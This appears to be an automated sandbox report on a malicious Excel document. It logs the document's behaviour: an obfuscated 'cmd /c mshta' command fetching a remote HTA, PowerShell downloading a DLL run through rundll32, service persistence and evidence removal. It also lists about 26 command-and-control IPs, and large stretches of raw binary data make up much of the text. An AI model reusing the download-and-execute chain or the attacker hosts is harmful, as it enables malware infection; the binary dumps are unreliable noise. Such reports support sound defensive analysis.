Data received	3Þ<eFçáÈÖ«>,ÚæôÖu4ØõÙëF¶·Å5®coõÈh¬îé#ÌjR,2£H0Ì¦ÙxÂnÌ ÿèùºøõ«È ¥îÕÊÆã}/X½ö6\\|AÌ¦iÖOëÑÑß\?ÌýceéÏmM×ê©Ï²HC/Q¨4ØÞlÜU-©êÜ½à¬ûIzKdqkíÀ?:)&P^Ã)iTB5¤jáÍF SôbIP@imä&Ã[tÁJÚ÷uüq©d'ôOðûoÕmA]-I\|)feøã"Z!ììHßF{ÝÍ÷«{9ÉDåï}&îôõ>©vµS©ÚòÈëÜ1$þ®÷®QÈ¤Ç=ìm±cîÄI17mµ0bÝs=µ"6\aºy~ÑÌ¦9i7º³uåÝ)Rjï,í¦<Ðxe¿¾b<©ÈÃÂ;¯®õ0føáÍmdzf)Yóù´ÈPÇï5 ÏQoÄô#ßøN'_ú !PF%oÔLBð IkMÙÂ«övÝ]dÊMYo´@N®ÞØÓæm}o55 þÉÈñZ\î½ÏòE Jâa$¢A][Æô5ï°!FÅõ[Ü£ÌNe;Ó÷"Ûüß®¾ø\ u2x$À1 NKa=Ì(ó¨àwã-µQêèù6K<M.ËK/Ô^/³ýìÃVä5âìãÇãlHX[ðÃ¡?unt«ÀRm3Ò§xÁM ËäÝ± ,Ð§©¨ PÚiï%ÂíA Ó1I]¤®êTEàVÊ# ?F$ª;øp;OÝ]0Wò8¹I}ÐÍ÷8Ü½wYFT1âÏb+,AÝ7ùØ\|:ItüáZÝ®ºt,A4òmÈ/r½ÇYv¡p-¡QªTÝà8+ÊDî_ãÈløS[à£Ç{O77K@=nùóìÐàr¿NPÞ3ÆÚ¨UadThÈ}^1=ZÐGWwL Jp]>aç®Æ¹7ÇÉpeµoYê¦¦áÚñáÏ±)ÅUÓc¸£-ÄXEMÍªa 2ì #Ge!L8Có^ëwkÀf eÇ ¿\øÐ§qNC=(Y²åô3<öù§×üTrI×x»!Å£ånÃ:)î{k®Èò¾ ò\eØ¸v5tÞSÃû1B_å¿Wç¤3BwæìÀérÀ¿ÝnvyFµ¬Ýk¢µ¡xÎòe3ñçÈ: `;DêÍ v KSô¾#A¨uØËª3¥~k}ø}ÐZjàÞèÇQ`o·Iè\|#ùU¼¾\÷¹ëhË=«4dBö×kBzÜm¸e8G]ÑH;nºE×Â{7ºèt{W5Á9öýmâÐÏ>j¶Pü&¨Ï\|\|´L¢çf[üèú¼áGâµÕiþë+¼wb ñÈÁ÷5t©â8PµÿÙÇ#zuÿËâª;/$A´&ÌÛä`/ÿ¢°b. rVÚóXºlz^K{m%j^PÐ4!1<:³Þ¦þáÀ·¿ÝefÈa Ö`ó&ôHÃä©ü[Ñ×÷s[]±£sÝ+¾³¿·è¹Þ4ÎèeN^Q¨ª×<LÐ¢ HÕZhxÄKvÖ DÅZDhzÀñ)EÑ^ûìÆÄ5v7¶V@ýÎæã\|NdsÂT2Tù eü· ±e\|ô÷º!ì.ÍÊãµÖ®õ××IÞN.Ä0Ê¬M½E êtì;Úÿ¸K71EÇãçi5WîvtPpIü. Â:ïLöïÆ_táÍj7M-Ø4Æ¨E`¬VÍ<¢2¨£^û«éIÆ½v,oÔ¥¬Ú8áÍ'ÃeéFAX&êÐÝOUÉk,¹Ð-ÄéÏI°ôäÊVgI<Ç/¢Çä¦'ØÝÊ¬÷Ó Zü`òY±¯$T~uêÑ¬ak¬.dÃ ¨<7¿ ßÖÎ`tWUË[ LwåBL®+)7 qÞ¥ióà¯Z4V²³ÕÓ+¼¸õããQ'I©Tí8pE#)#T»¹Òsd¾BÑ5/6ààA¤kQ»y 7éËR:X=Shêà:¨0QèRüìóÿÌÕ³ý ¤=¬Ä!¦Ì&Q? 0p,$ kebÊôN¸?B¾©é=ægZZTÞ§bmù$]lkùXQ{Oßï[~.\|+ö~£9àAQÑÇ7ÿäù2Öur!weüx®B/ÎX8Å\R'Ç¶8Qg5Ä¥$ùáiT¥§÷ÏÁÍÐ¬¥«Tsµ.¢"ÏãúSQÄB$+l_(P4ï^rDfI£årR ß\|²>_¼ÿÙÀóXµV6âê\|U\|~NÜb¦¶({¿ÄÑÒ¼Ì7Ç1E~æ=úÙaMPÃù/(Ò¹¤'®É"yVÈsS'·³?dçª¹vñh?¤þ88m"³éÓkñ´'Ñ±cL¬\|ã5¸ðro9 D!ôG§Áü®-<ðµQÏÅÚpþ1P1à ôs¹bÿäEåòÔÃ©G6ûõsÜîçÖ[K¯åq«;»_å= ó´D?ÚsKFÔ ÇÊVk'N°uðHû£@O)&íWÓ:¼ö©°mÁi0½3¾Íå+JófwR$ó°;àòÇE4 ÝïàE©»©~mmcÜqó¹/®Ëìéè¨hmó3&ëË uÚëÓÎÊ®=+òmå.ÃWïÔÂ)nb ]¥Ý6áä×À$-ûæÝÖy@´¯ÓîX¯ÐQk[xÈÇxï-"§¥ù¯^6 H(3QV"ïTÖÛ{ÌO\|V1ÐõçOòaU¿¦éÝÜ\xJÀ÷ âSºÁfáµêØªèwc'ª%u¿HvÎÆ'ÕæBÑÝ9ø2pÎá ï·a¥Qöiæ;-íÈñó[ ÄwÂÊp412ãmTµ7ßL;U»°Ý£~:,2+jb4»uv k;rèðq¹×I×¾æYç^<Ø ÿù³P'aØ/Z<.à¿k»þgîh¶G7icBäÌMwiÜQ9³) ª»¬Öª«¹Ð/b¸$º9L%ÌxaM!é±Qf=ú½ å ¼,$ª: o)àªäE½(XTª[ëZ_oj< Aå8Va=r¾¡ê»/¯ÚÃiùÄMPÎÆóUCTv¼OTÎn)Èý=ídíH.¸æþª4MùU2´ÈdÒ}Âx\³®ùýZ{¾)<êª&àþ<b{MÙ´/¿^Ô7l;AÂ}â pL¬BrôËn"GpvÐÛåÙ; ²YI¥lîq¥= ¨¨Rn§ À Õ§~>V¦÷Ï5] ·àÑiü×+óÖø{V´Aw&#³à~AÖ*<.fa(ðÎÄAéÞ}mìç÷$ÕóbJ
Data received	Ãó³e=R)~r[W;c`Ç¢¦·Z§lPµéßVérY=ÕÔÜzÚ:¸c5gñ~^±Î 8 )©=°ª¯×¸ór'/"Ö< T Ñ¸WbÛ45kÈ+ùK¿¨÷÷ð>ØZ'pÇ\|0r´iN5Ô4J^ÿß-{ÓY5>ÆéÏ8¢WÉë`°Ñ¿ÍàÕ°¬)ÖãOmvBÛaDgHE.ØMNH<sB!×xð3Ë VÜzÜ¢¬×æ!l0$U=[wb¿Áª`ZËü©©wãÒ~r¢¡A¥l)zÅN@V+çWóÿmd_ZªÀ'ÃÇII».4ìÞ¥1mMn¢fFÊmIa°]¿ãðø³^)C5»¶ÙJB:XéþNkÒTòb¬ààwØµaXî&«Eò¸ûË©2Å6ÚFn¯+ ÅZíÖ!Ñ¦ë!é££ÇNT{+AUßxA0oû#DÍ5°Zª§°²® ¢iheõø_¥Á¤ÊòÇdcgÖe£¼O´Ú;Ø¯RUÛ `qU/Äø+)'9ç WÄc¹$!>26CÈCG÷Þh-«x¿MÏÁ9^hÁ)Ò4nÔZ6!ÐÀ ðÜÛ#sV®òJDEäwê;»O \«¤ ¤èÀ¨TÖó·Ø¦@[ð÷t©ªÄ¹(Q&xòY©MðÖæÃÔóü«iÉÁp<~c Àn¡ 5á¥unH8!ðYmPEÃêª<!,_¨Î¯È5«ê-z2±HÄHU©ê ¶él¶¬nw_Ñ.zmCkV sÂ Í~ÐÉËò26]ÏffíÅ¸!÷Qä!D¦èÒMÔHî· ß?SÃëfáC î(em¯°6ÚÃC ÕL¿Sõ¯<S<0AÎáðäMv·tØ\yséG¹.LýtB»N¼Òã¿=4=äª[ò0¶{Æ&°®ÖO±cÈz¼º¯=é@¾e÷@Ó ¿ÛÒÍöë²&¢TÜ³®¬ &ÕCÝÊ«¦¹ÿ¦LIßÜ¿ë]zËªö^O#n¼áÏvGÀ sü0ÈÑãîM ÚÐÒÝ ¬Qkõ¯«P6?4_ZÔ¯Bé<Áâ [tvR0C\|Ç!©foý$(½®üµTß7~ïFÞû¬`@,²x»¸iéÕX¢åyÑõUô\Ük_¤Á°ýõý¼õ~Nþ ã%)Û8È½â-9§6ÓE1¨O$¡géÜ½µ<JHHÒ¡ixðP¨G!ÛÃ×2PÇÝnJëÒ èÔi¶¿Ý×Ü¦FÎVà¸Mrm÷drLÒÚjÓnH¨Úa= Ùýëk©Ã.â.·â/Þ¨àÝ6øgéåÎ;¯g'&>,Ç°í4öAú\|ÏIvÙù)Êv¼ñ¨7Íbð{Î/`evûOµ½kÄÂ¥8iüÞRx^5¸j¢M·0Ì #®TË¥FvÊ£ÀóÚ=z-éµÚ5êß¢X/`ÖKæÀÂÈbaÁ-î}v~Áe;b§`?G £:Pd«ì5Üa_¹ª¢ä¢kcö9Á .mµÄfh¥¾Ó6ÀÃ'ÀqíÑüïGïë¶CN¨!Ìáëq ]]¤37RÌÉ§©ÜqvÒîSYÊ¼´ù2ïà¹Ë%XâOKD7À OÃ¶5}û÷{º$ÅPR7çÐkUsÃÌ1ôCyPW¹P ýªb¶!¤{í3UcÆ/Hû-ñtÉy³_\|+Î®-ïí>'Ù@WÙª6h FBAÉ&§K+ã+ Åîæ!k?ñ<EW¢¹ñÁ#3ð¸=8M¡ËâNj;zßñå¢d~iØ8~>j(xp¸ª/ìkÞT¿Ðìr3óóO ª&)CïjwÑ¸µýùpÊlÁ/7¼X_²CjyãJßÞ]¢a%á×þ<oOú<y"¼\¤ÿOLI»^YVsé{;65éK fÕ9¹\|GFÁK Ù¤ÝÆd÷i Ï¤ú4²Á¹Ùè;=ê8CËùñÕî¨ÙôJ4IfSWËat¬ä2¶vØ×Xj¿Ì¿ÂºÔ^©%MÖ2(eÚL¢I#\|]Ù<äZëdU3ËJþ]N±WÇ½ê²ìr±VaÜEnxÐyî©²þ¿Àóu9Ä ©´t¹´8Ù?%=F&+(Ú`àÐ×Ö©We¢¸)rzhP'¨¼Ôú h/ò°Ø 6ÉÑ^ú¯:ÍÇÚ>;#EWÀÔa9Ñ¾¯Å7K[ËÒ2+zb`ý^\|Ñ§>v-¦õOÃ?Ùi:/ÁÓ2W~ÿIÍ¬g»þá¡Þñ¹õÐÃ(¦ ~²ß¿ìÑäè°a¥xÝc;VPNd·æ»}b¶áÄð î_²qmIÂÑ`,Ñv±ÊP.Û¶í´PÏ}ôòýØÁù-þ!·^4¤á¨úÄãÊvO-V7ßÖoéDl¼þ¦ÉÁÓäô;øý ¯óJµD±/yQëWÏ#¿ª/ ý\|x¼¯³T!`AÕhü$èï©>ô.£«kXÇÀ¥Q¯ÄbÞÇXHEy×ÎØÚ%!Svö3¥UÂ1×áå}¨\|4«eÈ .RK®óZ÷ÛµCÓ ak(¸ :&s%/ =´ÊbôDí÷H?¥A Çv8IÑ½Ã¼SÁÝ{Y[N£QF0ô÷¶÷çvÊvÇq þå<a)qnó/ëÀ!nì^¼ ÷¯DÄ¸WÌ>Õ¶Âªvñ[$1HéHKs5ÉHýY Ô5×JÜ»l9¸ìÃ r«¥ågbrÎ¤6jÝ£~¹ÆÛþ@ÅvøZLþóNd ¡Ðµ\|§9£$Rµ©,}+Á÷Û2¿´ªø»³ëÿìoèmæZJ¥¤7lÑ8SÌÌI!ÜãÈo´hPj\þ_¨(5»Qä6Ã¯E3aE§ êÒÃdÔ¦#úè(À¨oUCÙáçÉeÃ§ÃþÍYLsMîx¼Ä7IS)-0%N+ôS!' Y"TîØdÓ~AîN÷ë6Ü!øñúS¿Eç!6öwâ°ãûW]Ðt¸ÀþÚpQ¶Ë úßËaÙ¬ °ivÊøðî/}>3Ìi¹çðy8RÇP3Õ3¨)<xmGV@w¡"2[ÃÀqùàÆ+¾2{«Ôgì²ós¹fE×äúÿRf¶®»ãép<ÈM¦1üíY;¨¦´ºMû4M4ê·?f¬ªiáåeÁïycIÄûbFÝî%$~'0®_0ìÙ¯ïÈ_:,ä-ÊB)©~Þ¸-óMzÉÌ7cqZµªÕ¿aGx2´ Uõ«äÂ3z9Ê$à¾fy¡zêï",Ä½Â-¹ûB
Data received	ÂÊßÐÌ²k>D,v%ýÖ2Cjáa ¶Hã÷Ekx£\úÓ<S´4øyÍªíiðiþV@Ô¼Æáôûß¾ú£øóóOÔ_(`«md¬Àâòjµ(à1ª/Ô5ì÷³T/$}·³m PÄUqU¹=O÷¨ÞùM:¿ælÂI÷@A`U}Fx¨¯8nÙ»Â·1OÙÏ.E!Ç TÃÎÚ=ç¥Ça£ÜW¦Ýýã?h #®·º}æ&iø<àW@ b¹ ±l"ªÖ¡Úñ¹§¥öI DühSÿPlµóë{«X_¸ÿ³z<]j@sTì0Í_àZ=÷¯ÍWE`b]zLeFJ._2¾<Â[öÌáÎÃT%¼bV,øèÅEcÌF·ÂõLvwNe\|T¶lÌ?Ox±ku _M`òEÍ¹¼llKú¼uIïjmÐ©råÍWz\õ¬¤Iaôrªª]êK'Ò©[òäÏ] úÊló}<c<`4qFÄQH#iHÑ´"x-÷îjê ¥í<Ù¯á¹#Lê½.ïÔ@¹-²w¯züðÅ¹ j76$eoö«àÄg_ 4'@ª¤-È@Móí¯Úþ£ÿècá>2'\yú±WÉÿúÔ¼DüæÑ>ÙÉMîFÉ;¹ÝÊ¿dÚÌl¤òû7'à}Hn¢ÿ{÷qýí±zs#W1ÿ ó$v24Ææ©dFmFÙHæÄÌaòa©dRbÿ !ú.¼{Ä ¿Á¿JË_s¿Úæ© @ ÆMàRë¨Ã!¹Ã?2AÚ¼Úñ¿Ç að&Õ2S Ö×lÕöÌ)&Äç&l)ë ýÇúÔÜOFZ¹-TåGëFÀàjUv)¾4}LPÿuz ¼ûïÖFsKv¶.{2¨íæÝ¼½ëo2Ô!:æfrÁmë¿´y:¹ÿ!Ð ãy&¿àÞÄÙeëgñ&{Ã<v8ê×O¹as÷ÕçZæÙ:$<m´óÃãRP{\½ Ö¿I&&ÿ?l0 `í=Ù1^¨RÝ Þal` GVÝ£¡¡?¼L¨¼Ðbðr R]FbGæzeOÝSmì2ñ\|2¿O¼\!dw&æ ±¼¬i½þ1Ûå©¾zmïóGÓ(\ÙWÏ<¶x9¬£å?+x2·ù¬ê'qC«¼l²±X) ËLÿµ\jï¿1dð`Mþ/XÃÜlÆ48§82Þ>2¦jèËrÏl)ÇÉ8}_¿æ±dëÔw`Ìú!É`l )2¼l_ïd=ë\|:qd¨ ®\|¢æQ¼Ôó `SåÃTÞû^±ôÙ ýäËíí_öLÑÔzL¢¬1'Äg1â¢×& }×ñ1mÑXëÌ&ï¬WemO¼JmO ÕF!ãûÇV×:{J¤Ãk71'âïåo{ù4è6å2 ©ËÃÆOÍ^°ÍÃã:42&çL£i)7SOÔÄzçÃÓ4æÃn¶ÜdÓ}}´ 2Ä&! ¦kTsm!&ælÜ@z&!Ú÷æòg´ï WÚ\|eñ}&¥¶1sè¹ 4<?d!ÿ]8ê¾dëiÇëó!!ÄL² Ç?&sÇì¯)ROÞ¨ Ô4låÔT=`è&1ñO=¥Ð&¤¶LUÃ}ÇIåo\¡ \| -¾ÝÃö)äPö¿s¯íI/àFZ.àOÈyh_H=)r:)¼ëÐq8¢@úãÚßR1hpèðµï\¶äÝ+lã(ò± ü®®ËuL `Ê{H¹ÅÑxªñqÅÁ.ÍÔYªÅJtI¤jõÄTKìaÌ¼)äµ¸&Ç!l 0_k{X¡'É" ö\|ru`?I4/[¤;ì0à¯ÁD;ùÝø}Æ¹1.rg`L(FTÀtì`#B=¢`u¯PØÌ°d1 r_dêM¢úyuGZ'»òbàFHóï§¶qtå½®¥¤tuúA²;p?EÞ2FDþsf;à<1 Ú×»×ÝTäX-/sÓÄdAPÙ4Ò;@ ËÙ×eä¬«izéÐeÑ©°'y 6u"öL#/Ä)äkïOd^8Å 4¶BjÛÁ"Pn\@ÌÀëÔ(Îzw§Íø1mÝ²\| øD´{¼C£Æ Æ7Þ~,¤sy¤íðÁN}Ðr·¿ò§å:{>eÓÄ'>xlD°S[@ÑNëSÆÌNv¿ÍI5½ ¥åkêÿ 3ZÛu¾ó÷Õbý_t&2ªÒ¶fm^Ï< FrqÉÃ¡gçU+eWíQc)ö\|¹©QÛ!çÊÄñý&(¿lÇ ¢OJsÿóÿG-ÿÇy}7ÍÄL²}yÔyQ@ë)U¡[<&e·Ù&\|³ërr¾ÌÈÌòï W}_flþ¶½8×óÝô^úoþ[Ô!©ÿn!¥¿%m=lÇ¶a®ßWûg2¾S©ôb4IOÇ&ÚÞ%yr}ë÷¨eÿÿ\öÌ'Ä '1Ôàöç·Ä2©F¹Ã·ÿFiÆ£Q ÙiÌÃ¨OíÖ8ð¿sz×ÜêôU\|¨¬æÞçLAhÿjö£Ý½=ÿl½¾©mÇ2Lèr<l\|##©¾Á[ú#Ù¾ùPJM×ÙÛ\|¹¾çÿå½hëëâ¿iÝÔRUí\|ñcvczóÃ 2?&©Ú_Þ@«ßæ&ÃF¢øJ¤^} 1m«O¨Z>½`²ò¹W gz2]å£ç&ÄÈ#FMåG)(BÛ \rO¤¥ÈhâÇåzJ1ÝHm¾ñ`¹P÷:=F«ÇÕ^Ü}s=j¿Þ¦\|z{À¥ÈgXÚ'¡ Ú( h÷R]þö Ý¾JóÚÁrQâÔ½W}â²Ä\|a{ËWÊÙúðä1öÙI'âèò ý2)òpz1ÓÝOà¨s³&@!£úÏR_þZÁ0»[ ?W«8_7òzÒäË¾Ç&°@ÆAö ÙÑö©ÜÜãð£öv©¯u#ê×H<'ÄvXÞJÇ¼2Öýi 0ÚáÖÎÄqñçwH*âââÇÀÉÇOê°O\|fí&h{^é,¬ÙwOÌiCa Þ]7yXÇ&ö`e(2Ç^à weÃ;`&¼Ü¿½Ó#{¡ûóö'·Þ£æó&jvòz¶ÆÿK«o¢ËèíiÑ û¹Øúó1ÞH¹¨³KJ}OÈgj²ËNæn¡qg\|ÜsVO¿²}¶FPÙ:'Õ(`Jû%&kÏg®øhÑÜ(Fz>M¡ô¼Qo'PÜRèÏTì ß¶ÔUÅÇM-CÞGÔ¤Þ
Data received	íLA³\ýÔÁ¡y!Ùn,=EzÙ:»sSxÄ×> 2òs çêÓ8ØÞ¢í ì}?@d\#ªëoo÷Þ&FÑ`)IõX2 4äÎ×üR!¼\|5ì4«Û0.3æ#K¿u0§µ·#Ü\|²Öãß¬hG$ßª\pª &2½Ý\|I..þJnk-y`Ê¾ÐÄ2»$çûÂ×Jfì`=ãÿ¬ûîéÈ¢TñGW.¡Ô$RÉ{7Ü3Þîéwzåz&y?TîoÄ(4_O`àÚ1û)SGo!çú¹!:Ì>u\|-àÁÔ@ãÊO¡ë«^Þa´ã)ÇâÞË´çÙæÆqM>¥ý 8ë>ÝLd¹:£÷ÖÜ¶÷·2!82iþ\|Þ8æ2¾yIÄyëO!!'ë¬o®âyÔ 4öOgw ±¼äÐÔ«o¹.Èzoè%¸r1 ¦¦æ¨ëíÔ` l$öZ·ß ^ äTÈÇ#à>ñc`òà1 â P£æ¨úÞñè_s¥þÝë)¿ uv«7ìí)_¹ú Û^í¨È4Ý© Ì>ù ¼â¿ Ñ¾Ô\|Tsý$&2 kÞP}/FÙ'.WêöÔÇ1Qz`ë<¿þ¿2% ¾>rOíÇ¶S)2$¥ÄÝë2Ô`ö.RÐûÄ$/Ælí Ìy(àûW\|UíÓ&mOýä.>þ2ä r%¡È´&W!ñ{nFov8OCWk&Z!oC0IpfJSl?%$k^t9%^mHdo*jy%Y?5b>QPs<XJbTD@>°t8kAGÉ+< õ @4I.?AVCMainFrame@@4I.?AVCFrameWnd@@4I.?AVCMenu@@äôÜôÔôÌôÄô¸ô°ô¤ô4I.?AVNote@@ õ4I.?AVTextVisitor@@4I.?AVCVNotesApp@@4I.?AVCWinApp@@4I.?AVCWinThread@@4I.?AVCAboutDlg@@4I.?AVCVNotesDoc@@4I.?AVCDocument@@4I.?AVCVNotesView@@4I.?AVXMLDoc@@4I.?AVCGdiObject@@4I.?AVCImageList@@4I.PAVCException@@4I.?AVCRgn@@xìÿÿwìÿÿvìÿÿuìÿÿtìÿÿsìÿÿrìÿÿqìÿÿpìÿÿoìÿÿnìÿÿmìÿÿlìÿÿkìÿÿjìÿÿiìÿÿhìÿÿgìÿÿfìÿÿÌàü 4Tdx¤Ìàü 4Ld\|4I.?AVXAccessible@CWnd@@4I.?AVXAccessibleServer@CWnd@@4I.
Data received

Poweshell is sending data to a remote host (3 events)

Data sent	GET /fer/fer.png HTTP/1.1 Host: 185.7.214.7 Connection: Keep-Alive
Data sent	GET /cgi-bin/toRO9wV0IQu6/ HTTP/1.1 Host: peterpolz.to-create.eu Connection: Keep-Alive
Data sent	GET /-/Q7qLFrKJSlabny0snc/ HTTP/1.1 Host: fr7.anbo5288.cc Connection: Keep-Alive

Checks for the Locally Unique Identifier on the system for a suspicious privilege (1 event)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW Jan. 20, 2022, 9:28 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Expresses interest in specific running processes (1 event)

process

rundll32.exe

Communicates with host for which no DNS query was performed (26 events)

host	103.75.201.2
host	103.8.26.102
host	103.8.26.103
host	104.168.155.129
host	104.251.214.46
host	131.100.24.231
host	158.69.222.101
host	178.63.25.185
host	178.79.147.66
host	185.7.214.7
host	192.254.71.210
host	203.114.109.124
host	207.38.84.195
host	209.59.138.75
host	212.237.17.99
host	217.182.143.207
host	45.118.115.99
host	45.118.135.203
host	45.142.114.231
host	45.176.232.124
host	46.55.222.11
host	51.38.71.0
host	51.68.175.8
host	58.227.42.236
host	79.172.212.216
host	81.0.236.90

Installs itself for autorun at Windows startup (1 event)

service_name

zltatffufq.gew

service_path

C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Qgnnnz\zltatffufq.gew",XIYilHsVVV

Created a service where a service was also not started (1 event)

Time & API	Arguments	Status	Return	Repeated
CreateServiceW Jan. 20, 2022, 9:28 a.m.	service_start_name: start_type: 2 password: display_name: zltatffufq.gew filepath: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Qgnnnz\zltatffufq.gew",XIYilHsVVV service_name: zltatffufq.gew filepath_r: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Qgnnnz\zltatffufq.gew",XIYilHsVVV desired_access: 2 service_handle: 0x006aa870 error_control: 0 service_type: 16 service_manager_handle: 0x0068b3d8	1	6989936	0

Deletes executed files from disk (1 event)

file	C:\Users\Public\Documents\ssd.dll

Disables proxy possibly for traffic interception (1 event)

Time & API	Arguments	Status	Return	Repeated
RegSetValueExA Jan. 20, 2022, 9:28 a.m.	key_handle: 0x000002cc regkey_r: ProxyEnable reg_type: 4 (REG_DWORD) value: 0 regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable	1	0	0

A command shell or script process was created by an unexpected parent process (1 event)

parent_process

excel.exe

martian_process

cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html

Network activity contains more than one unique useragent (2 events)

process	mshta.exe				useragent	Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; InfoPath.3)
process	rundll32.exe				useragent

Network communications indicative of a potential document or script payload download was initiated by the process powershell.exe (3 events)

Time & API	Arguments	Status	Return
send Jan. 20, 2022, 9:28 a.m.	buffer: GET /fer/fer.png HTTP/1.1 Host: 185.7.214.7 Connection: Keep-Alive socket: 1400 sent: 72	1	72
send Jan. 20, 2022, 9:28 a.m.	buffer: GET /cgi-bin/toRO9wV0IQu6/ HTTP/1.1 Host: peterpolz.to-create.eu Connection: Keep-Alive socket: 1424 sent: 93	1	93
send Jan. 20, 2022, 9:28 a.m.	buffer: GET /-/Q7qLFrKJSlabny0snc/ HTTP/1.1 Host: fr7.anbo5288.cc Connection: Keep-Alive socket: 1460 sent: 86	1	86

An executable file was downloaded by the process powershell.exe (1 event)

Time & API	Arguments	Status	Return	Repeated
recv Jan. 20, 2022, 9:28 a.m.	buffer: HTTP/1.1 200 OK Date: Thu, 20 Jan 2022 00:28:29 GMT Server: Apache/2.4.41 (Ubuntu) Set-Cookie: 61e8acad6802f=1642638509; expires=Thu, 20-Jan-2022 00:29:29 GMT; Max-Age=60; path=/ Cache-Control: no-cache, must-revalidate Pragma: no-cache Last-Modified: Thu, 20 Jan 2022 00:28:29 GMT Expires: Thu, 20 Jan 2022 00:28:29 GMT Content-Disposition: attachment; filename="1Z8uvoGCfjttUw8.dll" Content-Transfer-Encoding: binary Content-Length: 606208 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdownload MZÿÿ¸@ðº´ Í!¸LÍ!This program cannot be run in DOS mode. $è©Ñ¬È¿Ì¬È¿Ì¬È¿ÌÒÌ¤È¿ÌÄÌ¹È¿Ì¬È¾Ì¡Ê¿Ì²*Ì°È¿Ì²<Ì&È¿Ì²;Ì È¿Ì²-ÌÈ¿Ì²+ÌÈ¿Ì².ÌÈ¿ÌRich¬È¿ÌPELìçaà! Înà ±ø pëOtÊÜÈx @f d@à,ìÉ@.textÍÎ `.rdata¿àÒ@@.data¼ðNÞ@À.rsrcÈxz,@@.relocH ¦@BUìjÿhzºd¡Pì¡)3ÅPEôd£hèñúÄEìÇEü}ìt MìèFEèëÇEèEèEðÇEüÿÿÿÿEðMôd Yå]ÃÌÌÌÌÌÌÌÌÌÌÌUìQMü¸Ìæå]ÃUìjÿh8°d¡PQ¡)3ÅPEôd£MðhPhêMðè¿EðÇ\|èÇEüMðÇìæMðÁxèâýUðÇBpEðÇ@tMðÇAlÇEüÿÿÿÿEðMôd Yå]ÃÌÌÌÌÌÌÌÌÌÌÌÌÌUìQMüMüè!EàtMüQèÿùÄEüå]ÂÌÌÌÌUìjÿh8°d¡PQ¡)3ÅPEôd£MðEðÇìæÇEüMðÁxèÇEüÿÿÿÿMðè¿Môd Yå]ÃÌUìQMüèå]ÃUì¸ê]ÃÌÌÌÌÌÌUìì8MÌEPMÌèHøÿuÈÿéjhjMÌèopÇEìjjjjjMÌÁxèpè{HMèè{PUä¸·ÈQUäRÿåEôèñz@EàèæzHMÜº·ÂPMÜQÿåEøÇEüë UüÂUü}ü}.EüLôMÔUÌB\|EØMÔQjÿUØRèz@xèuëÃMÌMðUÌÂxUÐu ÇEÈë EÐHMÈUÈRjh EðH QÿåPèâþ3Àå]ÂÌÌÌÌÌÌÌÌÌÌUììMôè#z@EøMøQ UüEüMüDÿÐå]ÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌUììMøèãy@EüMüI èÑ¡å]ÃÌÌÌÌÌÌÌÌÌÌÌÌÌUìjÿhh°d¡PìX¡)3ÅPEôd£MEHlÁUJlMèQÿÿÿEð}ðt EðxTuMQlêEPlëNMM Mè`U RM¤èD'ÇEüE¤PMðITè~ÍUBlèMAlÇEüÿÿÿÿM¤èÀ'Môd Yå]ÂÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌUììMðEðHlÁUðJlEðEøMðÇApUðÇBtjjh EøH QÿåEôUôREøPMðè¥Eü}ütMüQUøRMðèEüëåhÿÿjhEøH QÿåUðBlèMðAlå]ÃÌÌÌÌÌÌÌÌÌÌÌUììMèEèxltMÇéUUüMèè"þÿÿEø received: 2920 socket: 1460	1	2920	0

One or more non-whitelisted processes were created (2 events)

parent_process	powershell.exe				martian_process	"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
parent_process	excel.exe				martian_process	cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html

Attempts to remove evidence of file being downloaded from the Internet (1 event)

file	C:\Windows\SysWOW64\Qgnnnz\zltatffufq.gew:Zone.Identifier

The process powershell.exe wrote an executable file to disk (2 events)

file	C:\Users\Public\Documents\ssd.dll
file	C:\Windows\System32\cmd.exe

Generates some ICMP traffic

Connects to IP addresses that are no longer responding to requests (legitimate services will remain up-and-running usually) (31 events)

dead_host	192.168.56.103:49224
dead_host	192.168.56.103:49212
dead_host	212.237.17.99:8080
dead_host	217.182.143.207:443
dead_host	203.114.109.124:443
dead_host	81.0.236.90:443
dead_host	45.142.114.231:8080
dead_host	192.168.56.103:49198
dead_host	192.168.56.103:49225
dead_host	192.168.56.103:49213
dead_host	192.168.56.103:49222
dead_host	103.75.201.2:443
dead_host	178.63.25.185:443
dead_host	104.251.214.46:8080
dead_host	207.38.84.195:8080
dead_host	45.118.135.203:7080
dead_host	192.168.56.103:49223
dead_host	192.168.56.103:49226
dead_host	192.254.71.210:443
dead_host	192.168.56.103:49214
dead_host	192.168.56.103:49219
dead_host	45.118.115.99:8080
dead_host	192.168.56.103:49196
dead_host	178.79.147.66:8080
dead_host	45.176.232.124:443
dead_host	192.168.56.103:49203
dead_host	158.69.222.101:443
dead_host	58.227.42.236:80
dead_host	79.172.212.216:8080
dead_host	192.168.56.103:49197
dead_host	192.168.56.103:49221

905347967268907.xls

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All